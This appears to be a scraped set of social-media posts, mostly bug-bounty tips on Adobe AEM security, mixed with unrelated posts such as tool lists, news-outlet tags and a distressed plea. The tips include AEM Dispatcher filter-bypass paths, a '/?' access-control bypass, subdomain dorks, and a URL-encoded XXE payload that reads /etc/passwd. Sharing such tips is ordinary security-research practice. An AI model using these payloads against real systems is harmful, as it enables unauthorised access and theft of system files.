[+] #bugbountytips You really need to analyze logs manually via "Logger" when Using Burp Suite. I confirmed 4 HTTP Request smuggling issues + 2 SSRF's and these issues were not flagged by Burp scanner so yup! see what I mean? #AEMSecurity #bugbountytip

[+] Exclusive! Thank you Salesforce #bugbountytips #swag

#bugbounty Have you ever faced this situation where you thought it was a "CRIT" however triager declares it as a "LOW"??? youtube.com/watch?v=njO8mm…

Thanks to Mikhail Egorov & AEMSecurity for sharing their research with us. Debangshu 🇮🇳🥷 has very good knowledge about AEM Testing, if you stuck somewhere, you can ask him like I did. In case I've missed any other resources, please drop them below.

bugcrowd Six2dez 🇵🇸 ReconFTW ProjectDiscovery tools KNOXSS OWASP Amass TomNomNom tools Burp Bounty Attack Surface Management | Sn1perSecurity Jing Ling oneforall Mauro Soria dirsearch AEMSecurity tools Random Robbie tools Shiv chouhan tools Chintan 'Frogy' Gurjar tools Mazin Ahmed tools Findomain App Gwendal Le Coguic tools

5 RCEs in npm for $15,000 robertchen.cc/blog/2021/09/2…

Be careful when visiting websites blindly!!! Just noticed this website that is probably compromised from before and is right now spreading malicious viruses/trojans to whoever visits it... #stayvigilant #cybersecurity #awareness #cybercrimenews

Cyber Crime NEWS Punjab Police @CcpoLahore ARY News Urdu The Express Tribune Dawn.com Dunya News 92 News HD Plus City42 ARY NEWS Geo News Urdu 92 News HD Plus Express News DawnNews PTV News 24 News HD

Amazed to see CVE-2016-0956 Apache Sling POST Servlet vulnerability discovered back in 2014 still works!!!!!! #AEMSecurity #bugbountytips #bugbountytips

[+] Another awesome Adobe AEM Dispatcher filter bypass technique? oh okay Hunting for JSON GET Servlet on /content.1.json however result = 404? Try this: /conten/.1.json /conten/t.1.json /content.tidy.1.json /conten/.tidy.infinity.json #AEMSecurity #bugbountytips #pentesting

[+] FIlter bypass techniques: Sometimes you can do amazing things just by appending /? to bypass access control restrictions ;) #AEMSecurity #FilterBypass #bugbountytips #bugbountytip

POC: https://targetdomain/api/endpoint <-- Access Denied https://targetdomain/api/endpoint/? <--- Access to entire customer database

[+] Dont ignore those out of scope domains! Recently, I saw an application. This domain was listed as out of scope unfortunately.. More recon on target assets, I noticed very same application hosted on an IP owned by the same org Result: 4 IDOR's, 4 SXSS's #bugbountytips

[+] HTTP Request Smuggling: Recently while playing with HTTP Request Smuggling I came across an instance where the usual HTTP verbs e.g. POST, HEAD etc did not have any affect However using "TEST" as HTTP verb <--- worked and resulted in two different headers in the HTTP

PLEASE HELP ME as the JACKERS IN HOME keep ROBBING me for my SOFTWARES IPs UIDs AI NETWORKS & CERTIFICATES Cyber Aware Int'l Criminal Court Global Programme on Cybercrime ChapsVision CyberGov Cybercriminalité Defense & Security Group Orange Cyberdefense's SensePost Team Canadian Centre for Cyber Security CybeerE Cyber Crimes Unit Hyderabad CyberCrimes CID-AP Cyber Crime NEWS FBI

[+] Using Google dorks for unique subdomains? Try this: site:*-*-*.yourtarget.com site:*-*.*.yourtarget.com site:*.*.*.yourtarget.com #bugbountytips #bugbountytip #AEMSecurity

Giving back to the community is a core part of who we are. This month, our team hosted free #SecureCoding workshops for local developers, promoting safer code practices across the UAE. Together, we can raise the bar for security standards! #NXTLSolutions #CyberSecurity

AEM guideContainer XXE? guideState={"guideState"%3a{"guideDom"%3a{},"guideContext"%3a{"xsdRef"%3a"","guidePrefillXml"%3a"<%3fxml+version%3d\"1.0\"+encoding%3d\"utf-8\"%3f><!DOCTYPE+afData+[<!ENTITY+a+SYSTEM+\"file%3a///etc/passwd\">]><afData>%26a%3b</afData>"}}} #AEMSecurity

[+] CVE-2024-34070 NXTL Solutions offensive security team is dedicated to securing cyberspace with advanced vulnerability research. Recently dicovered a critical Blind XSS vulnerability > Froxlor leading to potential app compromise. #Bugbountytips #NXTLSolutions #bugbountytip

Full advisory URL: github.com/froxlor/Froxlo…